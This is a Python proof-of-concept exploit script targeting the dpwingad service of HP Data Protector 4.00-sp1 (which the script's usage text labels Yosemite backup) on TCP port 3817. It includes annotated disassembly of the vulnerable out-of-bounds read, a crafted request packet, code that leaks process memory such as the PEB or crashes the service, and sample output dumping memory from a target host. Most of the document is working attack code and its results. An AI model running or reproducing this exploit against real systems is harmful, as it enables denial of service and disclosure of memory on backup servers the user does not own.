#!/usr/bin/env python #POC Memory disclosure/ Denial Of Service #HP Data protector 4.00-sp1 43064 #Tested for Windows Version Only ''' Buggy code @dpwinsup module of dpwingad process running at 3817/TCP port dpwinsup.10275F80 100DDE89 8B15 54A72210 MOV EDX,DWORD PTR DS:[1022A754] 100DDE8F 8B82 98650000 MOV EAX,DWORD PTR DS:[EDX+6598] 100DDE95 8B4C24 54 MOV ECX,DWORD PTR SS:[ESP+54] ;ECX = user controlled data 100DDE99 8D1481 LEA EDX,DWORD PTR DS:[ECX+EAX*4] ;EDX = if invalid/valid offset 100DDE9C 8B3495 F0A42210 MOV ESI,DWORD PTR DS:[EDX*4+1022A4F0] ;Crash/Memory Leak 100DDEA3 83C4 1C ADD ESP,1C 100DDEA6 897424 10 MOV DWORD PTR SS:[ESP+10],ESI ''' import socket import sys import struct import time import getopt bf = ("\x54\x84\x00\x00" + "\x00\x00\x00\x00" + "\x06\x00\x00\x00" + "\x92\x00\x00\x00" + "data") ip = '192.168.0.14' port = 3817 addr = (ip,port) mem_addr = 0x7ffdf000 #PEB for windows DEBUG = False def exploit_memory(ip_addr,read_mem): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip_addr,port)) reqst = bf.replace("data","A"*130) #t = ((addr-1022AC80)/4 - 4) t = ((read_mem-0x1022A4F0)/4 - 4) print "0x%x" % t reqst = reqst[0:32] + struct.pack(" 0x%08x" % ((mem_addr+i),leak) sys.exit() else: print "[*] Unknown Exploit type" usage() sys.exit() else: print "[*] Target Missing" usage() sys.exit() else: continue def usage(): print "Yosemite DoS and Information Disclosure Exploit" #print "Yosemite backup standard v8.7 build 43905 Trial" #print "Tested for Windows Versions" print "Available Options" print "\t -t | --target target address" print "\t -e | --exploit { 0 - Dos \ 1 - Memory Leak }" print "\n" if __name__=='__main__': main() ''' C:\pocs>python poc_yosemite.py -t 192.168.0.14 -e 1 [*] Dumping Memory..{PEB} 0x7ffdf000 ---> 0x0012fbc4 0x7ffdf004 ---> 0x00130000 0x7ffdf008 ---> 0x0012d000 0x7ffdf00c ---> 0x00000000 0x7ffdf010 ---> 0x00001e00 0x7ffdf014 ---> 0x00000000 0x7ffdf018 ---> 0x7ffdf000 0x7ffdf01c ---> 0x00000000 0x7ffdf020 ---> 0x00000c54 0x7ffdf024 ---> 0x00000cfc 0x7ffdf028 ---> 0x00000000 0x7ffdf02c ---> 0x00000000 0x7ffdf030 ---> 0x7ffdb000 0x7ffdf034 ---> 0x00000000 0x7ffdf038 ---> 0x00000000 0x7ffdf03c ---> 0x00000000 0x7ffdf040 ---> 0xe15b42a0 0x7ffdf044 ---> 0x00000000 0x7ffdf048 ---> 0x00000000 0x7ffdf04c ---> 0x00000000 C:\pocs>python poc_yosemite.py -t 192.168.0.14 -e 0 [*] Sending DOS Exploit. '''